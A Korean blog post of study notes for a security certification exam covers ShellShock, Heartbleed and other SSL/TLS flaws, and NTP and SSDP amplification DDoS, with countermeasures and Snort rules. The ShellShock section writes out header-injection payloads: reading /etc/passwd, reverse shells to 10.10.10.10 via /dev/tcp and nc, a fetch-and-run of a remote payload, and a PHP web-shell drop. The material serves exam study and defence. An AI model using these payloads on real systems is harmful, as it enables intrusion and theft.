본문 바로가기
(실기) 정보보안기사&산업기사

주요 취약점 1~4

by 뭔가해보겠습니다 2024. 4. 15.

시험에 자주 출제되는 주요 취약점들.

 

1. GNU Bash 취약점 (ShellShock)

 

개요
- CVE-2014-6271, 쉘쇼크라 명명.
- 인터넷을 통해 간단한 명령만으로 시스템을 장악할 수 있는 심각성이 있음

Bash 이해하기
1) 쉘 변수 선언
- 지역변수 (ex var='local')
- 환경변수 (ex $SHELL)

 

지역변수 var

=> 1021 프로세스에서 선언한 var 변수는, bash가 실행된 1040 프로세스에서 사용불가능하다. 이 때 exit 명령어로 1021 프로세스로 돌아오면 var 변수를 사용할 수 있다.

 

선언한 변수의 내역을 보려면 set 명령어를 사용한다. ex) set | grep var
환경변수는 env 명령어 사용 ex) env | grep PATH
환경변수 선언 ex) export VAR='변수선언'

unset 명령어로 변수 삭제 ex) unset var

 

 

2) 쉘 함수 선언
- 지역함수 : 선언한 쉘 내에서만 호출 가능
- 환경변수에 함수 설정

환경변수에 함수 등록 후 호출실패

=> 실습을 따라했는데, 로컬에서도 자식쉘bash 에서도 실행되지 않았다. 패치되었나? 띄어쓰기 때문인가 해서 다 떼어보기도 했는데.... 이 부분은 차후 다시 알아보기로 함.

 

강의 기준 문제가 된 함수 선언

export fn='() { echo "env test!"; }; cat /etc/passwd'


=> 이렇게 선언한 후 bash 명령어로 자식쉘을 만들어 전환하면, 전환과 동시에 환경변수를 선언하기 때문에 cat /etc/passwd을 그대로 실행하게 된다.

* 취약한 버전의 bash는 환경변수 함수 선언문 뒤의 임의의 명령어를 삽입할 경우, 함수 선언의 끝을 인지하지 못하고 임의의 명령어까지 실행하는 취약점이 존재한다.

취약점이 발생하는 부분 : bash가 제공하는 함수 선언기능

 

 

CGI를 이용한 Bash 취약점 공격유형
1) 공격원리
- CGI : 웹서버에 요청된 페이지를 응용 프로그램에 전달하고 처리하기 위한 인터페이스
CGI는 요청헤더정보를 쉘의 환경변수에 저장하는데, 공격자가 헤더정보에 함수와 명령어를 추가하여 해당 명령어가 실행되는 취약점

UserAgent: () { : ; }; echo; echo /bin/cat /etc/passwd


=> 헤더값에 이런식으로 악의적인 명령어를 붙여 실행하게 만든다

 

 

리버스 쉘 연결

UserAgent: () { : ; }; /bin/bash > /dev/tcp/10.10.10.10/8081 0<&1

=> tcp 소켓을 생성해내는 특수파일 /dev/tcp 를 이용한 10.10.10.10:8081 서버로의 연결

=> /bin/bash의 표준출력(화면에 출력되었어야 할)은 소켓의 입력으로 재지정됨. 공격자에게 전송된다

=> 0<&1 명령어로 인해 (0은 표준입력, 1은 표준출력을 의미) 표준입력(주로 키보드. 사용자입력)은 표준출력으로 재지정되는데, 표준출력은 소켓으로 재지정( /bin/bash > /dev/tcp/10.10.10.10/8081 )했으므로, 결과적으로 사용자 입력을 소켓으로 전송하게 된다.

UserAgent: () { : ; }; /usr/bin/nc 10.10.10.10 8081 -e /bin/sh

 

=> nc 프로그램을 이용한 리버스쉘 공격

 

 

악성코드 다운로드 유형

Accept-Encoding: () { : ; }; /bin/bash -c "/usr/bin/wget -O /tmp/xx http://10.10.10.10/attack; /bin/chmod 777 /tmp/xx; /tmp/xx; /bin/rm- rf /tmp/xx"

=> -c 는 뒤의 문자열을 명령어로 인식하도록 하는 옵션. wget -O는 이름을 재지정하여 다운로드한다는 뜻.

=> 공격자 서버에서 악성코드를 /tmp/xx 로 다운로드 받고 chmod로 권한을 수정한 뒤에 실행하고 삭제함.

 

 

 

웹쉘 생성 유형

User-Agent: () { : ; }; echo "<? \$cmd=\$_REQUEST[\"cmd\"]; if(\$cmd != \"\"){print shell_exec(\$cmd);} ?>" > ../html/data.php


=> php 구문의 echo한 내용(요청중에서 cmd 파라미터 내용)을 > 리다이렉션하여 웹쉘 코드를 data.php로 저장하게 한다.

=> 이후

data.php?cmd=wget%20http://10.10.10.10/attack
data.php?cmd=chmod%20777%20/tmp/attack

이런식으로 만들어진 웹쉘 php 파일에 cmd 파라미터로 명령어를 전달하여 시스템에 악의적인 명령을 실행하게 한다.

 

 

대응방안
1. 취약한 버전의 Bash를 최신 버전으로 업데이트
2. CGI 서비스를 사용하지 않는다면 서비스를 중지시키거나 삭제
3. 네트워크 보안 장비단에서 공격 시그너처(탐지룰)을 등록하여 차단
=> snort 룰 : ..중략 ... content: "() {"; http header; ... 하략 ...

 

 

주요 취약점 1 END --

 

 

2. SSL/TLS 관련 취약점

 

1) HeartBleed하트블리드 취약점
개요
- 통신구간 암호화를 위해 많이 사용하는 OpenSSL 라이브러리의 하트비트 확장 모듈의 버그로 인해 발생.
- 서버에 저장된 중요 메모리 데이터가 노출되는 취약점

주요내용
- 전송 : 공격자는 하트비트 패킷 헤더에서 페이로드 길이 필드를 조작하여 전송
- 응답 : 서버는 공격자가 요청한 길이(최대 64kb)만큼 메모리에서 데이터를 추출(요청한 데이터 이외의 정보까지)해 응답

- 하트비트 확장모듈: 매번 연결을 재협상하지 않아도 상호간에 연결 지속 신호를 주고받으면서 통신연결을 유지하게 해주는 기능.
- 페이로드와, 페이로드의 길이를 보내면 서버측에서 응답에 그 내용을 길이만큼 복사하여 되돌려준다.
- 문제는 데이터 길이 검증을 수행하지 않아서, 요청된 내용 + 나머지 길이를 채우기 위해 서버 메모리 정보를 채워넣어 응답함.

대응방안
- 취약점이 존재하지 않는 OpenSSL 버전으로 업데이트
- 네트워크 보안 장비 측면 대응
snort 룰

alter tcp any any <> any [443, 563 ... 중략] ... 중략 ... content: "|18 03 00|"; depth:3; content: "|01|"; distance:2; within:1; content: !"|00|";

alter tcp any any <> any [443, 563 ... 중략] ... 중략 ... content: "|18 03 01|"; depth:3; content: "|01|"; distance:2; within:1; content: !"|00|";

alter tcp any any <> any [443, 563 ... 중략] ... 중략 ... content: "|18 03 02|"; depth:3; content: "|01|"; distance:2; within:1; content: !"|00|";


하트비트 모듈일 경우
content type이 0x18 (헥사값)이고 SSL Version은 0x0300 ~ 0x0302(헥사값)이다. |18 03 00| ~ |18 03 02| 범위.

두 칸 뛰어서 ( distance:2; within:1; ) 다음 1바이트 검사
하트비트 리퀘스트의 경우 첫 번째 Type이 0x01(헥사값) 이다. |01|

18 03 01 00 03 01 ff ff

   └ ─ ─ ─ ─ ─ ─ ┘                           └──┘└───────┘ ← 페이로드 길이 (2Byte=64kb)

|18 03 00| ~ |18 03 02|                  첫번째 Type

 

페이로드 길이는 2Byte가 할당되는데,

2Byte로 표현할 수 있는 숫자범위는 16bit로 2의 16제곱이니 ~65535까지이다.

페이로드 길이의 첫 번째 자리가 00이 아닐경우 !"|00|" 최소 256바이트 이상 크기를 요청한다는 뜻이므로 공격으로 판단.

 

 

서비스 관리 측면 대응 방안
- 서버 측 SSL/TLS 개인키 유출 가능성이 있으므로 인증서를 재발급 받는 것을 검토
- 취약점 조치 완료 후 사용자 비밀번호 재설정을 유도하여 추가피해를 방지하는 방안 고려

 


2) 프리크freak 취약점
개요
SSL을 통해 강제로 취약한 RSA로 다운그레이드 시킬 수 있는 취약점
- CVE-2015-0204
- FREAK (Factoring attack on RSA-EXPORT Keys)

주요내용
- SSL 통신 중 중간자 공격MITM을 통해 취약한 "export-grade"의 RSA를 이용하게 하여 통신내용 유출이 가능한 취약점

대응방안
- 최신 버전의 OpenSSL 업그레이드
- OpenSSL "RSA_EXPORT" cipher suite 비활성화


3) 로그잼LogJam 취약점
개요
- 임시 Diffie-Hellman 키교환을 사용하여, TLS 연결을 512비트 수출export 버전 암호화로 다운그레이드 할 수 있다.

주요내용
- DHE_EXPORT를 지원하는 TLS 서버의 80%가 다운그레이드 가능한 것으로 알려짐.

대응방안
- Export용 cipher suite을 사용하지 않는다
- 2048 비트의 비트-헬만 그룹을 사용하거나 타원 곡선 디피-헬만을 사용

 

 

4) 푸들POODLE 취약점

개요
- 주요 한국 웹사이트 TLS 취약점 분석 결과 푸들POODLE 취약점에 가장 많이 노출됨
SSL/TLS 협상시 버전 다운그레이드 공격을 통해 SSLv3.0을 강제로 사용하도록 하고 MITM 공격을 통해 정보를 추출하는 공격

 

대응책
- SSLv3.0을 사용하지 않도록 설정
- 최신 버전 업그레이드

5) 드라운DROWN 취약점
SSLv2.0 취약점을 악용한 교차 프로토콜 공격

 

대응책
- SSLv2.0을 사용하지 않도록 설정
- 최신 버전 업그레이드

 

 

 

주요 취약점 2 END --

 

 

3. NTP 분산 서비스 거부(DDoS) 취약점

 

개요

- NTP(Network Time Protocol)는 네트워크를 통해 컴퓨터 시스템간 시간 동기화를 위해 사용하는 인터넷 프로토콜. UDP 123번 포트 사용
- CVE-2013-5211. NTP 서버의 특정 명령어(monlist)를 이용해 대규모 증폭, 반사 형태의 디도스 공격을 유발할 수 있는 취약점

(CVE: Common Vulnerabilities and Exposures 취약점 식별 체계. CVE-발생년도-취약점번호 형식.)

 

 

날짜/시간 관련 주요 유닉스/리눅스 명령어
가) date 명령어 : 현재 서버의 날짜와 시간을 확인하거나 설정할 수 있는 명령어
나) rdate 명령어 : 원격지의 타임서버를 이용해 날짜 및 시간 정보를 확인하거나, 현재 서버에 설정할 수 있다.
- 타임서버는 time 프로토콜을 사용하며 tcp/udp 37번 포트를 사용한다.

ex) rdate -p time.bora.net        //날짜/시간정보 확인
      rdate -s time.bora.net        //현재 서버에 적용

 

다) ntpdate 명령어 (원격지 NTP 서버를 이용해 날짜 및 시간을 확인하거나 현재서버에 설정가능)
ex) ntpdate -q time.bora.net        //날짜/시간정보 확인
     ntpdate time.bora.net             //현재 서버에 적용

 

 

NTP monlist 명령어
- 질의를 통해 해당 서비스 데몬에 접속한 호스트를 모니터링 할 수 있는 기능
ex) ntpdc -n -c monlist "NTP 서버 IP"

-> ntpdc 프로그램을 사용해서 monlist 커맨드(-c)를 NTP 서버에 질의한다

 

공격절차
1) 변조(스푸핑) : 출발지 주소를 공격대상 서버 IP로 패킷을 변조
2) 전송 : monlist 명령의 다수 쿼리 전송
3) 증폭 및 반사 : NTP 서버는 증폭된 결과를 변조된 출발지 IP에 전송
4) 공격대상 서버는 증폭된 다수의 응답 수신으로 네트워크 대역이 소진되고 서비스 거부/장애 상태가 됨

 

 

대응방안
가) 취약한 NTP 데몬(ntpd) 서버 버전을 업그레이드한다
- 버전 확인 : ntpd -- version
4.2.7 이상의 최신 버전으로 업그레이드 한다

나) 서비스 운영상 업그레이드가 어려운 경우 설정 변경을 통해 monlist 기능 해제
- vi /etc/ntp.conf 설정파일에서 disable monitor 설정을 추가한다

 

다) monlist 쿼리 요청을 통해 비활성화 확인
라) 보안장비를 통한 차단
- iptables 사용 예)

iptables -A OUTPUT -p udp --sport 123 -m length --length 100: -j DROP


=> 응답 패킷이므로 -A OUTPUT
=> NTP 프로토콜은 123 udp 포트 사용
=> 100byte 이상의 응답패킷을 차단함 (-m length --length로 패킷크기를 100미만으로 제한)

(-m length --length :2000 콜론이 앞에 있으면 이하

                               2000: 콜론이 뒤에 있으면 이상

                               2000 콜론이 없으면 정확히 2000)

 

 

 

주요 취약점 3 END --

 

 

4. SSDP 분산 서비스 거부 DDoS 취약점

 

개요

SSDP (Simple Service Discovery Protocol) 는 네트워크상의 서비스나 정보를 검색하는 프로토콜 (주로 IoT 기기)
UDP 1900번 포트 사용
- 대규모 증폭, 반사 형태의 디도스 공격을 실행한 사례가 보고됨

 

SSDP 취약점을 이용한 디도스 공격 원리
가) 동작방식
- HTTP 프로토콜과 유사한 형태의 요청/응답 형식
- 멀티캐스트 방식의 1900번 udp 포트 사용 (SSDP 전용: 239.255.255.250)
- "M-SEARCH * HTTP/1.1"로 시작하는 요청 패킷을 사용
- 응답 패킷에는 서비스 정보가 포함되며, 상대적으로 매우 큰 응답을 반환함.

 

대응방안
1) 업무에 불필요한 UDP 포트 차단 및 UDP 서비스 중지
2) 보안장비를 이용해 임계치 기반의 UDP 패킷 차단 정책 적용

 

 

 

주요 취약점 4 END --